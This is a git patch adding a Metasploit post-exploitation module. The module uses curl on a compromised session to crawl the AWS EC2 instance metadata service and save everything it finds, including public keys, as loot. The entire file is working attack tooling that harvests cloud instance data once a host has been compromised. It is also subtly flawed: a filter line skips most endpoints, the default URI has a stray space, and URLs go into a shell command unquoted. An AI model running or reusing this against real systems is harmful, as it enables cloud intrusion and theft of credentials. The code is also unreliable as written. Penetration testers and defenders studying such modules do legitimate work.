From b2e06bed66f4e6e4b2a22b7e5b6850ab55403d25 Mon Sep 17 00:00:00 2001 From: Jon Hart Date: Thu, 29 Sep 2016 21:52:22 -0700 Subject: [PATCH] Initial commit of post module to gather AWS EC2 instance metadata --- .../gather/enum_aws_ec2_instance_metadata.rb | 99 +++++++++++++++++++ 1 file changed, 99 insertions(+) create mode 100644 modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb diff --git a/modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb b/modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb new file mode 100644 index 0000000000..f0cfad3606 --- /dev/null +++ b/modules/post/linux/gather/enum_aws_ec2_instance_metadata.rb @@ -0,0 +1,99 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Post + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Enumerate AWS EC2 instance metadata', + 'Description' => %q{ + This module will attempt to connect to the AWS EC2 instance metadata service + and crawl and collect all metadata known about the session'd host. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Jon Hart ' # original metasploit module + ], + # TODO: is there a way to do this on Windows? + 'Platform' => %w(linux osx unix), + 'SessionTypes' => %w(shell meterpreter), + 'References' => + [ + [ 'URL', 'http://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html' ] + ] + ) + ) + register_advanced_options( + [ + OptString.new('TARGETURI', [true, 'AWS EC2 Instance metadata URI', 'http://169.254.169.254/latest/meta-data/ ']) + ] + ) + end + + def target_uri + begin + @target_uri ||= URI(datastore['TARGETURI']) + rescue ::URI::InvalidURIError + print_error "Invalid URI: #{datastore['TARGETURI'].inspect}" + raise Msf::OptionValidateError.new(['TARGETURI']) + end + end + + def check_curl + unless cmd_exec("curl --version") =~ /^curl \d/ + fail_with(Failure::BadConfig, 'curl is not installed') + end + end + + def check_aws_metadata + resp = simple_get(target_uri) + unless resp =~ /^instance-id.$/m + fail_with(Failure::BadConfig, "Session does not appear to be on an AWS EC2 instance") + end + resp + end + + def get_aws_metadata(base_uri, base_resp) + r = {} + base_resp.split(/\r\n/).each do |l| + new_uri = base_uri.merge("./#{l}") + next unless new_uri.to_s =~ /public-key/ + if l =~ /\/$/ + # handle a directory + r[l.gsub(/\/$/, '')] = get_aws_metadata(new_uri, simple_get(new_uri)) + elsif new_uri.to_s =~ /\/public-keys\// && /^(?\d+)=/ =~ l + # special case handling of the public-keys endpoint + key_uri = new_uri.merge("./#{key_id}/") + key_resp = simple_get(key_uri) + r[key_id] = get_aws_metadata(key_uri, key_resp) + else + r[l] = simple_get(new_uri) + end + end + r + end + + def simple_get(url) + vprint_status("Fetching #{url}") + cmd_exec("curl #{url}") + end + + def run + check_curl + resp = check_aws_metadata + metadata = get_aws_metadata(target_uri, resp) + metadata_json =JSON.pretty_generate(metadata) + file = store_loot("aws.ec2.instance.metadata", "text/json", session, metadata_json, "aws_ec2_instance_metadata.json", "AWS EC2 Instance Metadata") + if datastore['VERBOSE'] + vprint_good("AWS EC2 instance metadata") + print_line(metadata_json) + end + print_good("Saved AWS EC2 instance metadata to to #{file}") + end +end